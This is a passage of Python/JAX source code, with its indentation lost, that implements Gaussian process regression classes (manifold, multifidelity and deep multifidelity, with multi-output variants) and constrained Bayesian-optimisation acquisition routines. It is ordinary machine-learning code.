def predict_all(self, X_star, **kwargs):
mu_list = []
std_list = []
params_list = kwargs['params']
batch_list = kwargs['batch']
bounds = kwargs['bounds']
norm_const_list = kwargs['norm_const']
zipped_args = zip(params_list, batch_list, norm_const_list)
# Normalize to [0,1] (We should do this for once instead of iteratively doing so in the for loop)
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
for k, (params, batch, norm_const) in enumerate(zipped_args):
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
if k > 0:
mu = mu*norm_const['sigma_y'] + norm_const['mu_y']
std = std*norm_const['sigma_y']
mu_list.append(mu)
std_list.append(std)
return np.array(mu_list), np.array(std_list)
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
@partial(jit, static_argnums=(0,))
def constrained_acquisition(self, x, **kwargs):
x = x[None,:]
mean, std = self.predict_all(x, **kwargs)
if self.options['constrained_criterion'] == 'EIC':
batch_list = kwargs['batch']
best = np.min(batch_list[0]['y'])
return acquisitions.EIC(mean, std, best)
elif self.options['constrained_criterion'] == 'LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 2*sigma
#norm_const = kwargs['norm_const'][0]
#mean[0,:] = (mean[0,:] - norm_const['mu_y']) / norm_const['sigma_y'] - 3 * norm_const['sigma_y']
#std[0,:] = std[0,:] / norm_const['sigma_y']
#####
return acquisitions.LCBC(mean, std, kappa)
elif self.options['constrained_criterion'] == 'LW_LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 3*sigma
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_LCBC(mean, std, weights, kappa)
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def constrained_acq_value_and_grad(self, x, **kwargs):
fun = lambda x: self.constrained_acquisition(x, **kwargs)
primals, f_vjp = vjp(fun, x)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def constrained_compute_next_point_lbfgs(self, num_restarts = 10, **kwargs):
# Define objective that returns NumPy arrays
def objective(x):
value, grads = self.constrained_acq_value_and_grad(x, **kwargs)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
loc = []
acq = []
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
rng_key = kwargs['rng_key']
dim = lb.shape[0]
onp.random.seed(rng_key[0])
x0 = lb + (ub-lb)*lhs(dim, num_restarts)
#print("x0 for bfgs", x0)
dom_bounds = tuple(map(tuple, np.vstack((lb, ub)).T))
for i in range(num_restarts):
pos, val = minimize_lbfgs(objective, x0[i,:], bnds = dom_bounds)
loc.append(pos)
acq.append(val)
loc = np.vstack(loc)
acq = np.vstack(acq)
idx_best = np.argmin(acq)
x_new = loc[idx_best:idx_best+1,:]
return x_new, acq, loc
def fit_gmm(self, num_comp = 2, N_samples = 10000, **kwargs):
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
# load the seed
rng_key = kwargs['rng_key']
dim = lb.shape[0]
# Sample data across the entire domain
X = lb + (ub-lb)*lhs(dim, N_samples)
# set the seed for sampling X
onp.random.seed(rng_key[0])
X = lb + (ub-lb)*lhs(dim, N_samples)
# We only keep the first row that correspond to the objective prediction and same for y_samples
y = self.predict(X, **kwargs)[0][0,:]
# Prediction of the constraints
mu, std = self.predict(X, **kwargs)
mu_c, std_c = mu[1:,:], std[1:,:]
#print('mu_c', 'std_c', mu_c.shape, std_c.shape)
constraint_w = np.ones((std_c.shape[1],1)).flatten()
for k in range(std_c.shape[0]):
constraint_w_temp = norm.cdf(mu_c[k,:]/std_c[k,:])
if np.sum(constraint_w_temp) > 1e-8:
constraint_w = constraint_w * constraint_w_temp
#print("constraint_w", constraint_w.shape)
# set the seed for sampling X_samples
rng_key = random.split(rng_key)[0]
onp.random.seed(rng_key[0])
X_samples = lb + (ub-lb)*lhs(dim, N_samples)
y_samples = self.predict(X_samples, **kwargs)[0][0,:]
# Compute p_x and p_y from samples across the entire domain
p_x = self.input_prior.pdf(X)
p_x_samples = self.input_prior.pdf(X_samples)
p_y = utils.fit_kernel_density(y_samples, y, weights = p_x_samples)
#print("constraint_w", constraint_w.shape, "p_x", p_x.shape)
weights = p_x/p_y*constraint_w
# Label each input data
indices = np.arange(N_samples)
# Scale inputs to [0, 1]^D
X = (X - lb) / (ub - lb)
# rescale weights as probability distribution
weights = weights / np.sum(weights)
# Sample from analytical w
idx = onp.random.choice(indices,
N_samples,
p=weights.flatten())
X_train = X[idx]
# fit GMM
clf = mixture.GaussianMixture(n_components=num_comp,
covariance_type='full')
clf.fit(X_train)
return clf.weights_, clf.means_, clf.covariances_
@partial(jit, static_argnums=(0,))
def draw_posterior_sample(self, X_star, **kwargs):
sample_list = []
params_list = kwargs['params']
batch_list = kwargs['batch']
bounds = kwargs['bounds']
norm_const_list = kwargs['norm_const']
rng_key_list = kwargs['rng_key']
zipped_args = zip(params_list, batch_list, norm_const_list, rng_key_list)
for i, (params, batch, norm_const, rng_key) in enumerate(zipped_args):
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Fetch params
sigma_n = np.exp(params[-1])
theta = np.exp(params[:-1])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
sample = random.multivariate_normal(rng_key, mu, cov)
sample_list.append(sample)
return np.array(sample)
# A minimal ManifoldGP regression class (inherits from GPmodel)
class ManifoldGP(GPmodel):
# Initialize the class
def __init__(self, options, layers):
super().__init__(options)
self.layers = layers
self.net_init, self.net_apply = utils.init_NN(layers)
# Determine parameter IDs
nn_params = self.net_init(random.PRNGKey(0), (-1, layers[0]))[1]
nn_params_flat, self.unravel = ravel_pytree(nn_params)
num_nn_params = len(nn_params_flat)
num_gp_params = initializers.random_init_GP(random.PRNGKey(0), layers[-1]).shape[0]
self.gp_params_ids = np.arange(num_gp_params)
self.nn_params_ids = np.arange(num_nn_params) + num_gp_params
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
# Warp inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
X = self.net_apply(nn_params, batch['X'])
N = X.shape[0]
# Fetch params
sigma_n = np.exp(gp_params[-1])
theta = np.exp(gp_params[:-1])
# Compute kernel
K = self.kernel(X, X, theta) + np.eye(N)*(sigma_n + 1e-8)
L = cholesky(K, lower=True)
return L
def train(self, batch, rng_key, num_restarts = 10):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['X'].shape[1]
rng_key = random.split(rng_key, num_restarts)
for i in range(num_restarts):
key1, key2 = random.split(rng_key[i])
gp_params = initializers.random_init_GP(key1, dim)
nn_params = self.net_init(key2, (-1, self.layers[0]))[1]
init_params = np.concatenate([gp_params, ravel_pytree(nn_params)[0]])
p, val = minimize_lbfgs(objective, init_params)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params = params[idx_best,:]
return best_params
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Warp inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
X = self.net_apply(nn_params, X)
X_star = self.net_apply(nn_params, X_star)
# Fetch params
sigma_n = np.exp(gp_params[-1])
theta = np.exp(gp_params[:-1])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
# A minimal ManifoldGP with Multiple Outputs regression class (inherits from GPmodel)
class ManifoldGP_MultiOutputs(GPmodel):
# Initialize the class
def __init__(self, options, layers):
super().__init__(options)
self.layers = layers
self.net_init, self.net_apply = utils.init_NN(layers)
# Determine parameter IDs
nn_params = self.net_init(random.PRNGKey(0), (-1, layers[0]))[1]
nn_params_flat, self.unravel = ravel_pytree(nn_params)
num_nn_params = len(nn_params_flat)
num_gp_params = initializers.random_init_GP(random.PRNGKey(0), layers[-1]).shape[0]
self.gp_params_ids = np.arange(num_gp_params)
self.nn_params_ids = np.arange(num_nn_params) + num_gp_params
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
# Warp inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
X = self.net_apply(nn_params, batch['X'])
N = X.shape[0]
# Fetch params
sigma_n = np.exp(gp_params[-1])
theta = np.exp(gp_params[:-1])
# Compute kernel
K = self.kernel(X, X, theta) + np.eye(N)*(sigma_n + 1e-8)
L = cholesky(K, lower=True)
return L
def train(self, batch_list, rng_key, num_restarts = 10):
best_params = []
for _, batch in enumerate(batch_list):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['X'].shape[1]
rng_keys = random.split(rng_key, num_restarts)
for i in range(num_restarts):
key1, key2 = random.split(rng_keys[i])
gp_params = initializers.random_init_GP(key1, dim)
nn_params = self.net_init(key2, (-1, self.layers[0]))[1]
init_params = np.concatenate([gp_params, ravel_pytree(nn_params)[0]])
p, val = minimize_lbfgs(objective, init_params)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params.append(params[idx_best,:])
return best_params
@partial(jit, static_argnums=(0,))
def predict_all(self, X_star, **kwargs):
mu_list = []
std_list = []
params_list = kwargs['params']
batch_list = kwargs['batch']
bounds = kwargs['bounds']
norm_const_list = kwargs['norm_const']
zipped_args = zip(params_list, batch_list, norm_const_list)
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
for k, (params, batch, norm_const) in enumerate(zipped_args):
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Warp inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
X = self.net_apply(nn_params, X)
X_star_nn = self.net_apply(nn_params, X_star)
# Fetch params
sigma_n = np.exp(gp_params[-1])
theta = np.exp(gp_params[:-1])
# Compute kernels
k_pp = self.kernel(X_star_nn, X_star_nn, theta) + np.eye(X_star_nn.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star_nn, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
mu_list.append(mu)
std_list.append(std)
return np.array(mu_list), np.array(std_list)
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
X, y = batch['X'], batch['y']
# Warp inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
X = self.net_apply(nn_params, X)
X_star_nn = self.net_apply(nn_params, X_star)
# Fetch params
sigma_n = np.exp(gp_params[-1])
theta = np.exp(gp_params[:-1])
# Compute kernels
k_pp = self.kernel(X_star_nn, X_star_nn, theta) + np.eye(X_star_nn.shape[0])*(sigma_n + 1e-8)
k_pX = self.kernel(X_star_nn, X, theta)
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
@partial(jit, static_argnums=(0,))
def constrained_acquisition(self, x, **kwargs):
x = x[None,:]
mean, std = self.predict_all(x, **kwargs)
if self.options['constrained_criterion'] == 'EIC':
batch_list = kwargs['batch']
best = np.min(batch_list[0]['y'])
return acquisitions.EIC(mean, std, best)
elif self.options['constrained_criterion'] == 'LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 2*sigma
#norm_const = kwargs['norm_const'][0]
#mean[0,:] = (mean[0,:] - norm_const['mu_y']) / norm_const['sigma_y'] - 3 * norm_const['sigma_y']
#std[0,:] = std[0,:] / norm_const['sigma_y']
#####
return acquisitions.LCBC(mean, std, kappa)
elif self.options['constrained_criterion'] == 'LW_LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 3*sigma
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_LCBC(mean, std, weights, kappa)
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def constrained_acq_value_and_grad(self, x, **kwargs):
fun = lambda x: self.constrained_acquisition(x, **kwargs)
primals, f_vjp = vjp(fun, x)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def constrained_compute_next_point_lbfgs(self, num_restarts = 10, **kwargs):
# Define objective that returns NumPy arrays
def objective(x):
value, grads = self.constrained_acq_value_and_grad(x, **kwargs)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
loc = []
acq = []
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
rng_key = kwargs['rng_key']
dim = lb.shape[0]
onp.random.seed(rng_key[0])
x0 = lb + (ub-lb)*lhs(dim, num_restarts)
#print("x0 for bfgs", x0)
dom_bounds = tuple(map(tuple, np.vstack((lb, ub)).T))
for i in range(num_restarts):
pos, val = minimize_lbfgs(objective, x0[i,:], bnds = dom_bounds)
loc.append(pos)
acq.append(val)
loc = np.vstack(loc)
acq = np.vstack(acq)
idx_best = np.argmin(acq)
x_new = loc[idx_best:idx_best+1,:]
return x_new, acq, loc
# A minimal MultifidelityGP regression class (inherits from GPmodel)
class MultifidelityGP(GPmodel):
# Initialize the class
def __init__(self, options):
super().__init__(options)
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XL, XH = batch['XL'], batch['XH']
NL, NH = XL.shape[0], XH.shape[0]
D = XH.shape[1]
# Fetch params
rho = params[-3]
sigma_n_L = np.exp(params[-2])
sigma_n_H = np.exp(params[-1])
theta_L = np.exp(params[:D+1])
theta_H = np.exp(params[D+1:-3])
# Compute kernels
K_LL = self.kernel(XL, XL, theta_L) + np.eye(NL)*(sigma_n_L + 1e-8)
K_LH = rho*self.kernel(XL, XH, theta_L)
K_HH = rho**2 * self.kernel(XH, XH, theta_L) + \
self.kernel(XH, XH, theta_H) + np.eye(NH)*(sigma_n_H + 1e-8)
K = np.vstack((np.hstack((K_LL,K_LH)),
np.hstack((K_LH.T,K_HH))))
L = cholesky(K, lower=True)
return L
def train(self, batch, rng_key, num_restarts = 10):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['XH'].shape[1]
rng_key = random.split(rng_key, num_restarts)
for i in range(num_restarts):
init = initializers.random_init_MultifidelityGP(rng_key[i], dim)
p, val = minimize_lbfgs(objective, init)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params = params[idx_best,:]
return best_params
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
D = batch['XH'].shape[1]
y = batch['y']
# Fetch params
rho = params[-3]
sigma_n_L = np.exp(params[-2])
sigma_n_H = np.exp(params[-1])
theta_L = np.exp(params[:D+1])
theta_H = np.exp(params[D+1:-3])
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
# A minimal MultifidelityGP regression class (inherits from GPmodel)
class DeepMultifidelityGP(GPmodel):
# Initialize the class
def __init__(self, options, layers):
super().__init__(options)
self.layers = layers
if options['net_arch'] == 'MLP':
self.net_init, self.net_apply = utils.init_NN(layers)
nn_params = self.net_init(random.PRNGKey(0), (-1, layers[0]))[1]
if options['net_arch'] == 'ResNet':
self.net_init, self.net_apply = utils.init_ResNet(layers,options['depth'],options['is_spect'])
nn_params = self.net_init(random.PRNGKey(0))
if options['net_arch'] == 'MomentumResNet':
self.net_init, self.net_apply = utils.init_MomentumResNet(layers,options['depth'],options['vel_zeros'],options['gamma'])
nn_params = self.net_init(random.PRNGKey(0))
# Determine parameter IDs
nn_params_flat, self.unravel = ravel_pytree(nn_params)
num_nn_params = len(nn_params_flat)
num_gp_params = initializers.random_init_MultifidelityGP(random.PRNGKey(0), layers[-1]).shape[0]
self.gp_params_ids = np.arange(num_gp_params)
self.nn_params_ids = np.arange(num_nn_params) + num_gp_params
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XL, XH = batch['XL'], batch['XH']
NL, NH = XL.shape[0], XH.shape[0]
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
# Warp inputs
XL = self.net_apply(nn_params, XL)
XH = self.net_apply(nn_params, XH)
D = XH.shape[1]
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = np.exp(gp_params[:D+1])
theta_H = np.exp(gp_params[D+1:-3])
# Compute kernels
K_LL = self.kernel(XL, XL, theta_L) + np.eye(NL)*(sigma_n_L + 1e-8)
K_LH = rho*self.kernel(XL, XH, theta_L)
K_HH = rho**2 * self.kernel(XH, XH, theta_L) + \
self.kernel(XH, XH, theta_H) + np.eye(NH)*(sigma_n_H + 1e-8)
K = np.vstack((np.hstack((K_LL,K_LH)),
np.hstack((K_LH.T,K_HH))))
L = cholesky(K, lower=True)
return L
def train(self, batch, rng_key, num_restarts = 10, verbose=False, maxfun=15000):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = self.layers[-1]
rng_key = random.split(rng_key, num_restarts)
for i in range(num_restarts):
key1, key2 = random.split(rng_key[i])
gp_params = initializers.random_init_MultifidelityGP(key1, dim)
if self.options['net_arch'] == 'MLP':
nn_params = self.net_init(key2, (-1, self.layers[0]))[1]
if self.options['net_arch'] == 'ResNet':
nn_params = self.net_init(key2)
if self.options['net_arch'] == 'MomentumResNet':
nn_params = self.net_init(key2)
init_params = np.concatenate([gp_params, ravel_pytree(nn_params)[0]])
p, val = minimize_lbfgs(objective, init_params, verbose, maxfun)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params = params[idx_best,:]
return best_params
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
y = batch['y']
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
# Warp inputs
XL = self.net_apply(nn_params, XL)
XH = self.net_apply(nn_params, XH)
X_star = self.net_apply(nn_params, X_star)
D = XH.shape[1]
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = np.exp(gp_params[:D+1])
theta_H = np.exp(gp_params[D+1:-3])
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
# A minimal DeepMultifidelityGP with Multiple Outputs regression class (inherits from GPmodel)
class DeepMultifidelityGP_MultiOutputs(GPmodel):
# Initialize the class
def __init__(self, options, layers):
super().__init__(options)
self.layers = layers
if options['net_arch'] == 'MLP':
self.net_init, self.net_apply = utils.init_NN(layers)
nn_params = self.net_init(random.PRNGKey(0), (-1, layers[0]))[1]
if options['net_arch'] == 'ResNet':
self.net_init, self.net_apply = utils.init_ResNet(layers,options['depth'],options['is_spect'])
nn_params = self.net_init(random.PRNGKey(0))
if options['net_arch'] == 'MomentumResNet':
self.net_init, self.net_apply = utils.init_MomentumResNet(layers,options['depth'],options['vel_zeros'],options['gamma'])
nn_params = self.net_init(random.PRNGKey(0))
# Determine parameter IDs
nn_params_flat, self.unravel = ravel_pytree(nn_params)
num_nn_params = len(nn_params_flat)
num_gp_params = initializers.random_init_MultifidelityGP(random.PRNGKey(0), layers[-1]).shape[0]
self.gp_params_ids = np.arange(num_gp_params)
self.nn_params_ids = np.arange(num_nn_params) + num_gp_params
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XL, XH = batch['XL'], batch['XH']
NL, NH = XL.shape[0], XH.shape[0]
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
# Warp inputs
XL = self.net_apply(nn_params, XL)
XH = self.net_apply(nn_params, XH)
D = XH.shape[1]
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = np.exp(gp_params[:D+1])
theta_H = np.exp(gp_params[D+1:-3])
# Compute kernels
K_LL = self.kernel(XL, XL, theta_L) + np.eye(NL)*(sigma_n_L + 1e-8)
K_LH = rho*self.kernel(XL, XH, theta_L)
K_HH = rho**2 * self.kernel(XH, XH, theta_L) + \
self.kernel(XH, XH, theta_H) + np.eye(NH)*(sigma_n_H + 1e-8)
K = np.vstack((np.hstack((K_LL,K_LH)),
np.hstack((K_LH.T,K_HH))))
L = cholesky(K, lower=True)
return L
def train(self, batch_list, rng_key, num_restarts = 10, verbose=False, maxfun=15000):
best_params = []
for _, batch in enumerate(batch_list):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = self.layers[-1]
rng_keys = random.split(rng_key, num_restarts)
for i in range(num_restarts):
key1, key2 = random.split(rng_keys[i])
gp_params = initializers.random_init_MultifidelityGP(key1, dim)
if self.options['net_arch'] == 'MLP':
nn_params = self.net_init(key2, (-1, self.layers[0]))[1]
if self.options['net_arch'] == 'ResNet':
nn_params = self.net_init(key2)
if self.options['net_arch'] == 'MomentumResNet':
nn_params = self.net_init(key2)
init_params = np.concatenate([gp_params, ravel_pytree(nn_params)[0]])
p, val = minimize_lbfgs(objective, init_params, verbose, maxfun)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params.append(params[idx_best,:])
return best_params
@partial(jit, static_argnums=(0,))
def predict_all(self, X_star, **kwargs):
mu_list = []
std_list = []
params_list = kwargs['params']
batch_list = kwargs['batch']
bounds = kwargs['bounds']
norm_const_list = kwargs['norm_const']
zipped_args = zip(params_list, batch_list, norm_const_list)
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
for k, (params, batch, norm_const) in enumerate(zipped_args):
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
y = batch['y']
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
# Warp inputs
XL = self.net_apply(nn_params, XL)
XH = self.net_apply(nn_params, XH)
X_star_nn = self.net_apply(nn_params, X_star)
D = XH.shape[1]
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = np.exp(gp_params[:D+1])
theta_H = np.exp(gp_params[D+1:-3])
# Compute kernels
k_pp = rho**2 * self.kernel(X_star_nn, X_star_nn, theta_L) + \
self.kernel(X_star_nn, X_star_nn, theta_H) + \
np.eye(X_star_nn.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star_nn, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star_nn, XH, theta_L) + \
self.kernel(X_star_nn, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
mu_list.append(mu)
std_list.append(std)
return np.array(mu_list), np.array(std_list)
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
y = batch['y']
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
# Warp inputs
XL = self.net_apply(nn_params, XL)
XH = self.net_apply(nn_params, XH)
X_star_nn = self.net_apply(nn_params, X_star)
D = XH.shape[1]
# Fetch params
rho = gp_params[-3]
